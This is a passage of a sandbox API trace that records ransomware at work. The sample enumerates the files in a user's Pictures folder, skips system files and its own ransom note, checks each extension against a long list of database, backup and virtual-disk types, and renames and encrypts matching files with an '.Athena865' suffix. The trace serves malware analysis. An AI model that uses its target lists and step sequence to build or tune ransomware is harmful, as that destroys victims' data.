(lpString1="bmp", lpString2="fic") returned -1 [0051.789] lstrlenW (lpString="flexolibrary") returned 12 [0051.789] lstrcmpiW (lpString1="F7bLoKfY.bmp", lpString2="flexolibrary") returned -1 [0051.789] lstrlenW (lpString="fm5") returned 3 [0051.789] lstrcmpiW (lpString1="bmp", lpString2="fm5") returned -1 [0051.789] lstrlenW (lpString="fmp") returned 3 [0051.789] lstrcmpiW (lpString1="bmp", lpString2="fmp") returned -1 [0051.789] lstrlenW (lpString="fmp12") returned 5 [0051.789] lstrcmpiW (lpString1="Y.bmp", lpString2="fmp12") returned 1 [0051.789] lstrlenW (lpString="fmpsl") returned 5 [0051.789] lstrcmpiW (lpString1="Y.bmp", lpString2="fmpsl") returned 1 [0051.789] lstrlenW (lpString="fol") returned 3 [0051.790] lstrcmpiW (lpString1="bmp", lpString2="fol") returned -1 [0051.790] lstrlenW (lpString="fp3") returned 3 [0051.790] lstrcmpiW (lpString1="bmp", lpString2="fp3") returned -1 [0051.790] lstrlenW (lpString="fp4") returned 3 [0051.790] lstrcmpiW (lpString1="bmp", lpString2="fp4") returned -1 [0051.790] lstrlenW (lpString="fp5") returned 3 [0051.790] lstrcmpiW (lpString1="bmp", lpString2="fp5") returned -1 [0051.790] lstrlenW (lpString="fp7") returned 3 [0051.790] lstrcmpiW (lpString1="bmp", lpString2="fp7") returned -1 [0051.790] lstrlenW (lpString="fpt") returned 3 [0051.790] lstrcmpiW (lpString1="bmp", lpString2="fpt") returned -1 [0051.790] lstrlenW (lpString="frm") returned 3 [0051.790] lstrcmpiW (lpString1="bmp", lpString2="frm") returned -1 [0051.790] lstrlenW (lpString="gdb") returned 3 [0051.790] lstrcmpiW (lpString1="bmp", lpString2="gdb") returned -1 [0051.790] lstrlenW (lpString="gdb") returned 3 [0051.790] lstrcmpiW (lpString1="bmp", lpString2="gdb") returned -1 [0051.790] lstrlenW (lpString="grdb") returned 4 [0051.790] lstrcmpiW (lpString1=".bmp", lpString2="grdb") returned -1 [0051.790] lstrlenW (lpString="gwi") returned 3 [0051.790] lstrcmpiW (lpString1="bmp", lpString2="gwi") returned -1 [0051.790] lstrlenW (lpString="hdb") returned 3 [0051.790] lstrcmpiW (lpString1="bmp", lpString2="hdb") returned -1 [0051.790] lstrlenW (lpString="his") returned 3 [0051.790] lstrcmpiW (lpString1="bmp", lpString2="his") returned -1 [0051.790] lstrlenW (lpString="ib") returned 2 [0051.790] lstrcmpiW (lpString1="mp", lpString2="ib") returned 1 [0051.790] lstrlenW (lpString="idb") returned 3 [0051.790] lstrcmpiW (lpString1="bmp", lpString2="idb") returned -1 [0051.790] lstrlenW (lpString="ihx") returned 3 [0051.790] lstrcmpiW (lpString1="bmp", lpString2="ihx") returned -1 [0051.790] lstrlenW (lpString="itdb") returned 4 [0051.791] lstrcmpiW (lpString1=".bmp", lpString2="itdb") returned -1 [0051.791] lstrlenW (lpString="itw") returned 3 [0051.791] lstrcmpiW (lpString1="bmp", lpString2="itw") returned -1 [0051.791] lstrlenW (lpString="jet") returned 3 [0051.791] lstrcmpiW (lpString1="bmp", lpString2="jet") returned -1 [0051.791] lstrlenW (lpString="jtx") returned 3 [0051.791] lstrcmpiW (lpString1="bmp", lpString2="jtx") returned -1 [0051.791] lstrlenW (lpString="kdb") returned 3 [0051.791] lstrcmpiW (lpString1="bmp", lpString2="kdb") returned -1 [0051.791] lstrlenW (lpString="kexi") returned 4 [0051.791] lstrcmpiW (lpString1=".bmp", lpString2="kexi") returned -1 [0051.791] lstrlenW (lpString="kexic") returned 5 [0051.791] lstrcmpiW (lpString1="Y.bmp", lpString2="kexic") returned 1 [0051.791] lstrlenW (lpString="kexis") returned 5 [0051.791] lstrcmpiW (lpString1="Y.bmp", lpString2="kexis") returned 1 [0051.791] lstrlenW (lpString="lgc") returned 3 [0051.791] lstrcmpiW (lpString1="bmp", lpString2="lgc") returned -1 [0051.791] lstrlenW (lpString="lwx") returned 3 [0051.791] lstrcmpiW (lpString1="bmp", lpString2="lwx") returned -1 [0051.791] lstrlenW (lpString="maf") returned 3 [0051.791] lstrcmpiW (lpString1="bmp", lpString2="maf") returned -1 [0051.791] lstrlenW (lpString="maq") returned 3 [0051.791] lstrcmpiW (lpString1="bmp", lpString2="maq") returned -1 [0051.791] lstrlenW (lpString="mar") returned 3 [0051.791] lstrcmpiW (lpString1="bmp", lpString2="mar") returned -1 [0051.791] lstrlenW (lpString="marshal") returned 7 [0051.791] lstrcmpiW (lpString1="KfY.bmp", lpString2="marshal") returned -1 [0051.791] lstrlenW (lpString="mas") returned 3 [0051.791] lstrcmpiW (lpString1="bmp", lpString2="mas") returned -1 [0051.791] lstrlenW (lpString="mav") returned 3 [0051.791] lstrcmpiW (lpString1="bmp", lpString2="mav") returned -1 [0051.791] lstrlenW (lpString="maw") returned 3 [0051.792] lstrcmpiW (lpString1="bmp", lpString2="maw") returned -1 [0051.792] lstrlenW (lpString="mdbhtml") returned 7 [0051.792] lstrcmpiW (lpString1="KfY.bmp", lpString2="mdbhtml") returned -1 [0051.792] lstrlenW (lpString="mdn") returned 3 [0051.792] lstrcmpiW (lpString1="bmp", lpString2="mdn") returned -1 [0051.792] lstrlenW (lpString="mdt") returned 3 [0051.792] lstrcmpiW (lpString1="bmp", lpString2="mdt") returned -1 [0051.792] lstrlenW (lpString="mfd") returned 3 [0051.792] lstrcmpiW (lpString1="bmp", lpString2="mfd") returned -1 [0051.792] lstrlenW (lpString="mpd") returned 3 [0051.792] lstrcmpiW (lpString1="bmp", lpString2="mpd") returned -1 [0051.792] lstrlenW (lpString="mrg") returned 3 [0051.792] lstrcmpiW (lpString1="bmp", lpString2="mrg") returned -1 [0051.792] lstrlenW (lpString="mud") returned 3 [0051.792] lstrcmpiW (lpString1="bmp", lpString2="mud") returned -1 [0051.792] lstrlenW (lpString="mwb") returned 3 [0051.792] lstrcmpiW (lpString1="bmp", lpString2="mwb") returned -1 [0051.792] lstrlenW (lpString="myd") returned 3 [0051.792] lstrcmpiW (lpString1="bmp", lpString2="myd") returned -1 [0051.792] lstrlenW (lpString="ndf") returned 3 [0051.792] lstrcmpiW (lpString1="bmp", lpString2="ndf") returned -1 [0051.792] lstrlenW (lpString="nnt") returned 3 [0051.792] lstrcmpiW (lpString1="bmp", lpString2="nnt") returned -1 [0051.792] lstrlenW (lpString="nrmlib") returned 6 [0051.792] lstrcmpiW (lpString1="fY.bmp", lpString2="nrmlib") returned -1 [0051.792] lstrlenW (lpString="ns2") returned 3 [0051.792] lstrcmpiW (lpString1="bmp", lpString2="ns2") returned -1 [0051.792] lstrlenW (lpString="ns3") returned 3 [0051.792] lstrcmpiW (lpString1="bmp", lpString2="ns3") returned -1 [0051.792] lstrlenW (lpString="ns4") returned 3 [0051.792] lstrcmpiW (lpString1="bmp", lpString2="ns4") returned -1 [0051.792] lstrlenW (lpString="nsf") returned 3 [0051.792] lstrcmpiW (lpString1="bmp", lpString2="nsf") returned -1 [0051.793] lstrlenW (lpString="nv") returned 2 [0051.793] lstrcmpiW (lpString1="mp", lpString2="nv") returned -1 [0051.793] lstrlenW (lpString="nv2") returned 3 [0051.793] lstrcmpiW (lpString1="bmp", lpString2="nv2") returned -1 [0051.793] lstrlenW (lpString="nwdb") returned 4 [0051.793] lstrcmpiW (lpString1=".bmp", lpString2="nwdb") returned -1 [0051.793] lstrlenW (lpString="nyf") returned 3 [0051.793] lstrcmpiW (lpString1="bmp", lpString2="nyf") returned -1 [0051.793] lstrlenW (lpString="odb") returned 3 [0051.793] lstrcmpiW (lpString1="bmp", lpString2="odb") returned -1 [0051.793] lstrlenW (lpString="odb") returned 3 [0051.793] lstrcmpiW (lpString1="bmp", lpString2="odb") returned -1 [0051.793] lstrlenW (lpString="oqy") returned 3 [0051.793] lstrcmpiW (lpString1="bmp", lpString2="oqy") returned -1 [0051.793] lstrlenW (lpString="ora") returned 3 [0051.793] lstrcmpiW (lpString1="bmp", lpString2="ora") returned -1 [0051.793] lstrlenW (lpString="orx") returned 3 [0051.793] lstrcmpiW (lpString1="bmp", lpString2="orx") returned -1 [0051.793] lstrlenW (lpString="owc") returned 3 [0051.793] lstrcmpiW (lpString1="bmp", lpString2="owc") returned -1 [0051.793] lstrlenW (lpString="p96") returned 3 [0051.793] lstrcmpiW (lpString1="bmp", lpString2="p96") returned -1 [0051.793] lstrlenW (lpString="p97") returned 3 [0051.793] lstrcmpiW (lpString1="bmp", lpString2="p97") returned -1 [0051.793] lstrlenW (lpString="pan") returned 3 [0051.793] lstrcmpiW (lpString1="bmp", lpString2="pan") returned -1 [0051.793] lstrlenW (lpString="pdb") returned 3 [0051.793] lstrcmpiW (lpString1="bmp", lpString2="pdb") returned -1 [0051.793] lstrlenW (lpString="pdm") returned 3 [0051.793] lstrcmpiW (lpString1="bmp", lpString2="pdm") returned -1 [0051.793] lstrlenW (lpString="pnz") returned 3 [0051.793] lstrcmpiW (lpString1="bmp", lpString2="pnz") returned -1 [0051.793] lstrlenW (lpString="qry") returned 3 [0051.793] lstrcmpiW (lpString1="bmp", lpString2="qry") returned -1 [0051.794] lstrlenW (lpString="qvd") returned 3 [0051.794] lstrcmpiW (lpString1="bmp", lpString2="qvd") returned -1 [0051.794] lstrlenW (lpString="rbf") returned 3 [0051.794] lstrcmpiW (lpString1="bmp", lpString2="rbf") returned -1 [0051.794] lstrlenW (lpString="rctd") returned 4 [0051.794] lstrcmpiW (lpString1=".bmp", lpString2="rctd") returned -1 [0051.794] lstrlenW (lpString="rod") returned 3 [0051.794] lstrcmpiW (lpString1="bmp", lpString2="rod") returned -1 [0051.794] lstrlenW (lpString="rodx") returned 4 [0051.794] lstrcmpiW (lpString1=".bmp", lpString2="rodx") returned -1 [0051.794] lstrlenW (lpString="rpd") returned 3 [0051.794] lstrcmpiW (lpString1="bmp", lpString2="rpd") returned -1 [0051.794] lstrlenW (lpString="rsd") returned 3 [0051.794] lstrcmpiW (lpString1="bmp", lpString2="rsd") returned -1 [0051.794] lstrlenW (lpString="sas7bdat") returned 8 [0051.794] lstrcmpiW (lpString1="oKfY.bmp", lpString2="sas7bdat") returned -1 [0051.794] lstrlenW (lpString="sbf") returned 3 [0051.794] lstrcmpiW (lpString1="bmp", lpString2="sbf") returned -1 [0051.794] lstrlenW (lpString="scx") returned 3 [0051.794] lstrcmpiW (lpString1="bmp", lpString2="scx") returned -1 [0051.794] lstrlenW (lpString="sdb") returned 3 [0051.794] lstrcmpiW (lpString1="bmp", lpString2="sdb") returned -1 [0051.794] lstrlenW (lpString="sdc") returned 3 [0051.794] lstrcmpiW (lpString1="bmp", lpString2="sdc") returned -1 [0051.795] lstrlenW (lpString="sdf") returned 3 [0051.795] lstrcmpiW (lpString1="bmp", lpString2="sdf") returned -1 [0051.795] lstrlenW (lpString="sis") returned 3 [0051.795] lstrcmpiW (lpString1="bmp", lpString2="sis") returned -1 [0051.795] lstrlenW (lpString="spq") returned 3 [0051.795] lstrcmpiW (lpString1="bmp", lpString2="spq") returned -1 [0051.795] lstrlenW (lpString="te") returned 2 [0051.795] lstrcmpiW (lpString1="mp", lpString2="te") returned -1 [0051.795] lstrlenW (lpString="teacher") returned 7 [0051.795] lstrcmpiW (lpString1="KfY.bmp", lpString2="teacher") returned -1 [0051.795] lstrlenW (lpString="tmd") returned 3 [0051.795] lstrcmpiW (lpString1="bmp", lpString2="tmd") returned -1 [0051.795] lstrlenW (lpString="tps") returned 3 [0051.795] lstrcmpiW (lpString1="bmp", lpString2="tps") returned -1 [0051.795] lstrlenW (lpString="trc") returned 3 [0051.795] lstrcmpiW (lpString1="bmp", lpString2="trc") returned -1 [0051.795] lstrlenW (lpString="trc") returned 3 [0051.795] lstrcmpiW (lpString1="bmp", lpString2="trc") returned -1 [0051.795] lstrlenW (lpString="trm") returned 3 [0051.795] lstrcmpiW (lpString1="bmp", lpString2="trm") returned -1 [0051.795] lstrlenW (lpString="udb") returned 3 [0051.795] lstrcmpiW (lpString1="bmp", lpString2="udb") returned -1 [0051.795] lstrlenW (lpString="udl") returned 3 [0051.795] lstrcmpiW (lpString1="bmp", lpString2="udl") returned -1 [0051.795] lstrlenW (lpString="usr") returned 3 [0051.795] lstrcmpiW (lpString1="bmp", lpString2="usr") returned -1 [0051.795] lstrlenW (lpString="v12") returned 3 [0051.795] lstrcmpiW (lpString1="bmp", lpString2="v12") returned -1 [0051.795] lstrlenW (lpString="vis") returned 3 [0051.795] lstrcmpiW (lpString1="bmp", lpString2="vis") returned -1 [0051.795] lstrlenW (lpString="vpd") returned 3 [0051.795] lstrcmpiW (lpString1="bmp", lpString2="vpd") returned -1 [0051.795] lstrlenW (lpString="vvv") returned 3 [0051.796] lstrcmpiW (lpString1="bmp", lpString2="vvv") returned -1 [0051.796] lstrlenW (lpString="wdb") returned 3 [0051.796] lstrcmpiW (lpString1="bmp", lpString2="wdb") returned -1 [0051.796] lstrlenW (lpString="wmdb") returned 4 [0051.796] lstrcmpiW (lpString1=".bmp", lpString2="wmdb") returned -1 [0051.796] lstrlenW (lpString="wrk") returned 3 [0051.796] lstrcmpiW (lpString1="bmp", lpString2="wrk") returned -1 [0051.796] lstrlenW (lpString="xdb") returned 3 [0051.796] lstrcmpiW (lpString1="bmp", lpString2="xdb") returned -1 [0051.796] lstrlenW (lpString="xld") returned 3 [0051.796] lstrcmpiW (lpString1="bmp", lpString2="xld") returned -1 [0051.796] lstrlenW (lpString="xmlff") returned 5 [0051.796] lstrcmpiW (lpString1="Y.bmp", lpString2="xmlff") returned 1 [0051.796] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\qgINIqoMFF7bLoKfY.bmp.Athena865") returned 87 [0051.796] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\qgINIqoMFF7bLoKfY.bmp" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\qginiqomff7blokfy.bmp"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\qgINIqoMFF7bLoKfY.bmp.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\qginiqomff7blokfy.bmp.athena865"), dwFlags=0x1) returned 1 [0051.797] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\qgINIqoMFF7bLoKfY.bmp.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\qginiqomff7blokfy.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0051.797] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=60675) returned 1 [0051.797] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0051.797] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0051.797] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0051.797] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0051.798] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.798] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.798] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf010, lpName=0x0) returned 0x154 [0051.798] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf010) returned 0x100000 [0051.801] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0051.801] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.801] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.801] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0051.802] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0051.802] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0051.802] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0051.802] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0051.802] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0051.802] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0051.802] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0051.802] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0051.802] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0051.802] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0051.803] CloseHandle (hObject=0x154) returned 1 [0051.803] CloseHandle (hObject=0x17c) returned 1 [0051.804] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0051.804] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0051.804] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0051.804] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9c60b60, ftCreationTime.dwHighDateTime=0x1d4d4ff, ftLastAccessTime.dwLowDateTime=0x8ecad520, ftLastAccessTime.dwHighDateTime=0x1d4c722, ftLastWriteTime.dwLowDateTime=0x8ecad520, ftLastWriteTime.dwHighDateTime=0x1d4c722, nFileSizeHigh=0x0, nFileSizeLow=0x13f4a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="s9cQ52xVIt0iT_.gif", cAlternateFileName="S9CQ52~1.GIF")) returned 1 [0051.804] lstrcmpiW (lpString1="s9cQ52xVIt0iT_.gif", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0051.804] lstrcmpiW (lpString1="s9cQ52xVIt0iT_.gif", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.804] lstrcmpiW (lpString1="s9cQ52xVIt0iT_.gif", lpString2=".") returned 1 [0051.804] lstrcmpiW (lpString1="s9cQ52xVIt0iT_.gif", lpString2="..") returned 1 [0051.804] lstrcmpiW (lpString1="s9cQ52xVIt0iT_.gif", lpString2="windows") returned -1 [0051.804] lstrcmpiW (lpString1="s9cQ52xVIt0iT_.gif", lpString2="bootmgr") returned 1 [0051.804] lstrcmpiW (lpString1="s9cQ52xVIt0iT_.gif", lpString2="temp") returned -1 [0051.804] lstrcmpiW (lpString1="s9cQ52xVIt0iT_.gif", lpString2="pagefile.sys") returned 1 [0051.805] lstrcmpiW (lpString1="s9cQ52xVIt0iT_.gif", lpString2="boot") returned 1 [0051.805] lstrcmpiW (lpString1="s9cQ52xVIt0iT_.gif", lpString2="ids.txt") returned 1 [0051.805] lstrcmpiW (lpString1="s9cQ52xVIt0iT_.gif", lpString2="ntuser.dat") returned 1 [0051.805] lstrcmpiW (lpString1="s9cQ52xVIt0iT_.gif", lpString2="perflogs") returned 1 [0051.805] lstrcmpiW (lpString1="s9cQ52xVIt0iT_.gif", lpString2="MSBuild") returned 1 [0051.805] lstrlenW (lpString="s9cQ52xVIt0iT_.gif") returned 18 [0051.805] lstrcpyW (in: lpString1=0x241e8b8, lpString2="s9cQ52xVIt0iT_.gif" | out: lpString1="s9cQ52xVIt0iT_.gif") returned="s9cQ52xVIt0iT_.gif" [0051.805] lstrlenW (lpString="s9cQ52xVIt0iT_.gif") returned 18 [0051.805] lstrlenW (lpString="Athena865") returned 9 [0051.805] lstrcmpiW (lpString1="t0iT_.gif", lpString2="Athena865") returned 1 [0051.805] lstrlenW (lpString=".dll") returned 4 [0051.805] lstrcmpiW (lpString1="s9cQ52xVIt0iT_.gif", lpString2=".dll") returned 1 [0051.805] lstrlenW (lpString=".lnk") returned 4 [0051.805] lstrcmpiW (lpString1="s9cQ52xVIt0iT_.gif", lpString2=".lnk") returned 1 [0051.805] lstrlenW (lpString=".ini") returned 4 [0051.805] lstrcmpiW (lpString1="s9cQ52xVIt0iT_.gif", lpString2=".ini") returned 1 [0051.805] lstrlenW (lpString=".sys") returned 4 [0051.805] lstrcmpiW (lpString1="s9cQ52xVIt0iT_.gif", lpString2=".sys") returned 1 [0051.805] lstrlenW (lpString="s9cQ52xVIt0iT_.gif") returned 18 [0051.805] lstrlenW (lpString="bak") returned 3 [0051.805] lstrcmpiW (lpString1="gif", lpString2="bak") returned 1 [0051.805] lstrlenW (lpString="ba_") returned 3 [0051.805] lstrcmpiW (lpString1="gif", lpString2="ba_") returned 1 [0051.805] lstrlenW (lpString="dbb") returned 3 [0051.805] lstrcmpiW (lpString1="gif", lpString2="dbb") returned 1 [0051.805] lstrlenW (lpString="vmdk") returned 4 [0051.805] lstrcmpiW (lpString1=".gif", lpString2="vmdk") returned -1 [0051.805] lstrlenW (lpString="rar") returned 3 [0051.805] lstrcmpiW (lpString1="gif", lpString2="rar") returned -1 [0051.805] lstrlenW (lpString="zip") returned 3 [0051.805] lstrcmpiW (lpString1="gif", lpString2="zip") returned -1 [0051.805] lstrlenW (lpString="tgz") returned 3 [0051.805] lstrcmpiW (lpString1="gif", lpString2="tgz") returned -1 [0051.805] lstrlenW (lpString="vbox") returned 4 [0051.806] lstrcmpiW (lpString1=".gif", lpString2="vbox") returned -1 [0051.806] lstrlenW (lpString="vdi") returned 3 [0051.806] lstrcmpiW (lpString1="gif", lpString2="vdi") returned -1 [0051.806] lstrlenW (lpString="vhd") returned 3 [0051.806] lstrcmpiW (lpString1="gif", lpString2="vhd") returned -1 [0051.806] lstrlenW (lpString="vhdx") returned 4 [0051.806] lstrcmpiW (lpString1=".gif", lpString2="vhdx") returned -1 [0051.806] lstrlenW (lpString="avhd") returned 4 [0051.806] lstrcmpiW (lpString1=".gif", lpString2="avhd") returned -1 [0051.806] lstrlenW (lpString="db") returned 2 [0051.806] lstrcmpiW (lpString1="if", lpString2="db") returned 1 [0051.806] lstrlenW (lpString="db2") returned 3 [0051.806] lstrcmpiW (lpString1="gif", lpString2="db2") returned 1 [0051.806] lstrlenW (lpString="db3") returned 3 [0051.806] lstrcmpiW (lpString1="gif", lpString2="db3") returned 1 [0051.806] lstrlenW (lpString="dbf") returned 3 [0051.806] lstrcmpiW (lpString1="gif", lpString2="dbf") returned 1 [0051.806] lstrlenW (lpString="mdf") returned 3 [0051.806] lstrcmpiW (lpString1="gif", lpString2="mdf") returned -1 [0051.806] lstrlenW (lpString="mdb") returned 3 [0051.806] lstrcmpiW (lpString1="gif", lpString2="mdb") returned -1 [0051.806] lstrlenW (lpString="sql") returned 3 [0051.806] lstrcmpiW (lpString1="gif", lpString2="sql") returned -1 [0051.806] lstrlenW (lpString="sqlite") returned 6 [0051.806] lstrcmpiW (lpString1="T_.gif", lpString2="sqlite") returned 1 [0051.806] lstrlenW (lpString="sqlite3") returned 7 [0051.806] lstrcmpiW (lpString1="iT_.gif", lpString2="sqlite3") returned -1 [0051.806] lstrlenW (lpString="sqlitedb") returned 8 [0051.806] lstrcmpiW (lpString1="0iT_.gif", lpString2="sqlitedb") returned -1 [0051.806] lstrlenW (lpString="xml") returned 3 [0051.806] lstrcmpiW (lpString1="gif", lpString2="xml") returned -1 [0051.806] lstrlenW (lpString="$er") returned 3 [0051.806] lstrcmpiW (lpString1="gif", lpString2="$er") returned 1 [0051.806] lstrlenW (lpString="4dd") returned 3 [0051.807] lstrcmpiW (lpString1="gif", lpString2="4dd") returned 1 [0051.807] lstrlenW (lpString="4dl") returned 3 [0051.807] lstrcmpiW (lpString1="gif", lpString2="4dl") returned 1 [0051.807] lstrlenW (lpString="^^^") returned 3 [0051.807] lstrcmpiW (lpString1="gif", lpString2="^^^") returned 1 [0051.807] lstrlenW (lpString="abs") returned 3 [0051.807] lstrcmpiW (lpString1="gif", lpString2="abs") returned 1 [0051.807] lstrlenW (lpString="abx") returned 3 [0051.807] lstrcmpiW (lpString1="gif", lpString2="abx") returned 1 [0051.807] lstrlenW (lpString="accdb") returned 5 [0051.807] lstrcmpiW (lpString1="_.gif", lpString2="accdb") returned -1 [0051.807] lstrlenW (lpString="accdc") returned 5 [0051.807] lstrcmpiW (lpString1="_.gif", lpString2="accdc") returned -1 [0051.807] lstrlenW (lpString="accde") returned 5 [0051.807] lstrcmpiW (lpString1="_.gif", lpString2="accde") returned -1 [0051.807] lstrlenW (lpString="accdr") returned 5 [0051.807] lstrcmpiW (lpString1="_.gif", lpString2="accdr") returned -1 [0051.807] lstrlenW (lpString="accdt") returned 5 [0051.807] lstrcmpiW (lpString1="_.gif", lpString2="accdt") returned -1 [0051.807] lstrlenW (lpString="accdw") returned 5 [0051.807] lstrcmpiW (lpString1="_.gif", lpString2="accdw") returned -1 [0051.807] lstrlenW (lpString="accft") returned 5 [0051.807] lstrcmpiW (lpString1="_.gif", lpString2="accft") returned -1 [0051.807] lstrlenW (lpString="adb") returned 3 [0051.807] lstrcmpiW (lpString1="gif", lpString2="adb") returned 1 [0051.807] lstrlenW (lpString="adb") returned 3 [0051.807] lstrcmpiW (lpString1="gif", lpString2="adb") returned 1 [0051.807] lstrlenW (lpString="ade") returned 3 [0051.807] lstrcmpiW (lpString1="gif", lpString2="ade") returned 1 [0051.807] lstrlenW (lpString="adf") returned 3 [0051.807] lstrcmpiW (lpString1="gif", lpString2="adf") returned 1 [0051.807] lstrlenW (lpString="adn") returned 3 [0051.807] lstrcmpiW (lpString1="gif", lpString2="adn") returned 1 [0051.808] lstrlenW (lpString="adp") returned 3 [0051.808] lstrcmpiW (lpString1="gif", lpString2="adp") returned 1 [0051.808] lstrlenW (lpString="alf") returned 3 [0051.808] lstrcmpiW (lpString1="gif", lpString2="alf") returned 1 [0051.808] lstrlenW (lpString="ask") returned 3 [0051.808] lstrcmpiW (lpString1="gif", lpString2="ask") returned 1 [0051.808] lstrlenW (lpString="btr") returned 3 [0051.808] lstrcmpiW (lpString1="gif", lpString2="btr") returned 1 [0051.808] lstrlenW (lpString="cat") returned 3 [0051.808] lstrcmpiW (lpString1="gif", lpString2="cat") returned 1 [0051.808] lstrlenW (lpString="cdb") returned 3 [0051.808] lstrcmpiW (lpString1="gif", lpString2="cdb") returned 1 [0051.808] lstrlenW (lpString="ckp") returned 3 [0051.808] lstrcmpiW (lpString1="gif", lpString2="ckp") returned 1 [0051.808] lstrlenW (lpString="cma") returned 3 [0051.808] lstrcmpiW (lpString1="gif", lpString2="cma") returned 1 [0051.808] lstrlenW (lpString="cpd") returned 3 [0051.808] lstrcmpiW (lpString1="gif", lpString2="cpd") returned 1 [0051.808] lstrlenW (lpString="dacpac") returned 6 [0051.808] lstrcmpiW (lpString1="T_.gif", lpString2="dacpac") returned 1 [0051.808] lstrlenW (lpString="dad") returned 3 [0051.808] lstrcmpiW (lpString1="gif", lpString2="dad") returned 1 [0051.808] lstrlenW (lpString="dadiagrams") returned 10 [0051.808] lstrcmpiW (lpString1="It0iT_.gif", lpString2="dadiagrams") returned 1 [0051.808] lstrlenW (lpString="daschema") returned 8 [0051.808] lstrcmpiW (lpString1="0iT_.gif", lpString2="daschema") returned -1 [0051.808] lstrlenW (lpString="db-journal") returned 10 [0051.808] lstrcmpiW (lpString1="It0iT_.gif", lpString2="db-journal") returned 1 [0051.808] lstrlenW (lpString="db-shm") returned 6 [0051.808] lstrcmpiW (lpString1="T_.gif", lpString2="db-shm") returned 1 [0051.808] lstrlenW (lpString="db-wal") returned 6 [0051.808] lstrcmpiW (lpString1="T_.gif", lpString2="db-wal") returned 1 [0051.808] lstrlenW (lpString="dbc") returned 3 [0051.808] lstrcmpiW (lpString1="gif", lpString2="dbc") returned 1 [0051.809] lstrlenW (lpString="dbs") returned 3 [0051.809] lstrcmpiW (lpString1="gif", lpString2="dbs") returned 1 [0051.809] lstrlenW (lpString="dbt") returned 3 [0051.809] lstrcmpiW (lpString1="gif", lpString2="dbt") returned 1 [0051.809] lstrlenW (lpString="dbv") returned 3 [0051.809] lstrcmpiW (lpString1="gif", lpString2="dbv") returned 1 [0051.809] lstrlenW (lpString="dbx") returned 3 [0051.809] lstrcmpiW (lpString1="gif", lpString2="dbx") returned 1 [0051.809] lstrlenW (lpString="dcb") returned 3 [0051.809] lstrcmpiW (lpString1="gif", lpString2="dcb") returned 1 [0051.809] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9cQ52xVIt0iT_.gif.Athena865") returned 84 [0051.809] MoveFileExW 